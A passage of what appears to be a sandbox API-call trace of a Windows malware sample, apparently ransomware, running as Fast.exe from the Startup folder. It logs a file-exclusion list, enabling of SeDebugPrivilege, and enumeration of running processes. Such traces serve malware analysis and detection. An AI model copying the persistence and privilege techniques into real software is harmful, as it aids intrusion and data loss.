hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0f8 | out: hHeap=0x560000) returned 1 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0199.722] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f6a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f6a4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0199.723] GetProcessHeap () returned 0x560000 [0199.723] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a8 | out: hHeap=0x560000) returned 1 [0199.723] GetProcessHeap () returned 0x560000 [0199.723] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x57b2e8 [0199.723] GetProcessHeap () returned 0x560000 [0199.723] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5716d8 [0199.723] GetProcessHeap () returned 0x560000 [0199.723] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x190) returned 0x57af20 [0199.723] GetProcessHeap () returned 0x560000 [0199.723] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x60) returned 0x57b0b8 [0199.723] GetProcessHeap () returned 0x560000 [0201.050] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x5a) returned 0x57b318 [0201.050] GetProcessHeap () returned 0x560000 [0201.050] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57b318, Size=0xb2) returned 0x57a868 [0201.050] GetProcessHeap () returned 0x560000 [0201.050] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x184) returned 0x57a928 [0201.050] GetProcessHeap () returned 0x560000 [0201.050] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x571708 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57aab8 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x250) returned 0x57b5a8 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa0) returned 0x57b800 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x98) returned 0x57b8a8 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x98) returned 0x57b948 [0201.051] GetProcessHeap () returned 0x560000 [0201.051] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b318 [0201.051] GetProcessHeap () returned 0x560000 [0201.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b318 | out: hHeap=0x560000) returned 1 [0201.052] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x57b8a8, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0201.052] GetProcessHeap () returned 0x560000 [0201.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b948 | out: hHeap=0x560000) returned 1 [0201.052] GetProcessHeap () returned 0x560000 [0201.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b800 | out: hHeap=0x560000) returned 1 [0201.052] GetProcessHeap () returned 0x560000 [0201.052] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x70) returned 0x57b318 [0201.052] GetProcessHeap () returned 0x560000 [0201.052] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x62) returned 0x57b800 [0201.052] GetProcessHeap () returned 0x560000 [0201.052] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x62) returned 0x57b948 [0201.052] GetProcessHeap () returned 0x560000 [0201.052] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b9b8 [0201.053] GetProcessHeap () returned 0x560000 [0201.053] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b9b8 | out: hHeap=0x560000) returned 1 [0201.053] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x57b800, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0201.053] GetProcessHeap () returned 0x560000 [0201.053] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b948 | out: hHeap=0x560000) returned 1 [0201.053] GetProcessHeap () returned 0x560000 [0201.054] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57b800, Size=0xc2) returned 0x57b948 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc2) returned 0x57ba18 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b800 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b800 | out: hHeap=0x560000) returned 1 [0201.054] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x57b948, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ba18 | out: hHeap=0x560000) returned 1 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b318 | out: hHeap=0x560000) returned 1 [0201.054] GetProcessHeap () returned 0x560000 [0201.054] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57ba18 [0201.054] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57ba18, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0201.054] GetProcessHeap () returned 0x560000 [0201.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ba18 | out: hHeap=0x560000) returned 1 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24e) returned 0x57ba18 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57ba18, Size=0x3cc) returned 0x57ba18 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x9a) returned 0x57b800 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57b800, Size=0xac) returned 0x57bdf0 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6a) returned 0x57b318 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57aab8 | out: hHeap=0x560000) returned 1 [0201.055] GetProcessHeap () returned 0x560000 [0201.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b5a8 | out: hHeap=0x560000) returned 1 [0201.055] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b8a8 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b948 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b0b8 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a928 | out: hHeap=0x560000) returned 1 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a0a8 [0201.056] GetProcessHeap () returned 0x560000 [0201.056] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0d0 [0201.056] GetProcessHeap () returned 0x560000 [0201.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0f8 [0201.057] GetProcessHeap () returned 0x560000 [0201.057] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57af20 [0201.057] GetProcessHeap () returned 0x560000 [0201.057] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0201.057] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a0d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0201.057] GetProcessHeap () returned 0x560000 [0201.057] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0f8 | out: hHeap=0x560000) returned 1 [0201.057] GetProcessHeap () returned 0x560000 [0201.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a8 | out: hHeap=0x560000) returned 1 [0201.058] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f6a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f6a4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x57af20 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5716d8 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x190) returned 0x57af50 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x60) returned 0x57a928 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x5a) returned 0x57a990 [0201.060] GetProcessHeap () returned 0x560000 [0201.060] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57a990, Size=0xb2) returned 0x57a990 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x184) returned 0x57aa50 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x571720 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57b5a8 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x250) returned 0x57b7c0 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa0) returned 0x57abe0 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x98) returned 0x57ac88 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x98) returned 0x57bea8 [0201.061] GetProcessHeap () returned 0x560000 [0201.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57bf48 [0201.061] GetProcessHeap () returned 0x560000 [0201.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf48 | out: hHeap=0x560000) returned 1 [0201.062] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt", lpDst=0x57ac88, nSize=0x4c | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;jukse.txt") returned 0x4c [0201.062] GetProcessHeap () returned 0x560000 [0201.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bea8 | out: hHeap=0x560000) returned 1 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57abe0 | out: hHeap=0x560000) returned 1 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x70) returned 0x57abe0 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x62) returned 0x57bea8 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x62) returned 0x57bf18 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57bf88 [0201.062] GetProcessHeap () returned 0x560000 [0201.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf88 | out: hHeap=0x560000) returned 1 [0201.062] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x57bea8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf18 | out: hHeap=0x560000) returned 1 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57bea8, Size=0xc2) returned 0x57bea8 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc2) returned 0x57bf78 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57c048 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57c048 | out: hHeap=0x560000) returned 1 [0201.063] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x57bea8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf78 | out: hHeap=0x560000) returned 1 [0201.063] GetProcessHeap () returned 0x560000 [0201.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57abe0 | out: hHeap=0x560000) returned 1 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57bf78 [0201.064] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57bf78, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf78 | out: hHeap=0x560000) returned 1 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x182) returned 0x57bf78 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24e) returned 0x57c108 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x9a) returned 0x57abe0 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57abe0, Size=0xac) returned 0x57c360 [0201.064] GetProcessHeap () returned 0x560000 [0201.064] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6a) returned 0x57abe0 [0201.065] GetProcessHeap () returned 0x560000 [0201.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b5a8 | out: hHeap=0x560000) returned 1 [0201.065] GetProcessHeap () returned 0x560000 [0201.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b7c0 | out: hHeap=0x560000) returned 1 [0201.065] GetProcessHeap () returned 0x560000 [0201.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ac88 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bea8 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af50 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a928 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57aa50 | out: hHeap=0x560000) returned 1 [0201.066] GetProcessHeap () returned 0x560000 [0201.066] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x57b390 [0201.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c21e5, lpParameter=0x57b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0201.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c2291, lpParameter=0x45f6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0201.072] GetProcessHeap () returned 0x560000 [0201.073] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x57a968 [0201.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c2058, lpParameter=0x57a968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0201.075] GetProcessHeap () returned 0x560000 [0201.075] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x57bec8 [0201.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c196d, lpParameter=0x57bec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0201.078] GetProcessHeap () returned 0x560000 [0201.078] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x14) returned 0x57bf08 [0201.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c1bbc, lpParameter=0x57bf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc [0201.083] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) Thread: id = 45 os_tid = 0x610 [0201.540] GetProcessHeap () returned 0x560000 [0201.540] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x440) returned 0x57c418 [0201.540] GetProcessHeap () returned 0x560000 [0201.540] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x30) returned 0x57ac58 [0201.540] GetCurrentProcess () returned 0xffffffff [0201.540] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x212fd98 | out: TokenHandle=0x212fd98*=0xc0) returned 1 [0201.540] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x212fd90 | out: lpLuid=0x212fd90*(LowPart=0x14, HighPart=0)) returned 1 [0203.014] AdjustTokenPrivileges (in: TokenHandle=0xc0, DisableAllPrivileges=0, NewState=0x212fd80*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0203.014] CloseHandle (hObject=0xc0) returned 1 [0203.015] GetProcessHeap () returned 0x560000 [0203.015] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ac58 | out: hHeap=0x560000) returned 1 [0203.015] GetProcessHeap () returned 0x560000 [0203.015] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x434) returned 0x594ab8 [0203.016] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0203.027] Process32FirstW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.027] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.028] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.029] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.030] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.043] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.044] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.045] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.045] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.047] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0203.047] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.048] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.049] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.050] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.051] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.052] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.052] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.053] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.054] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.055] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 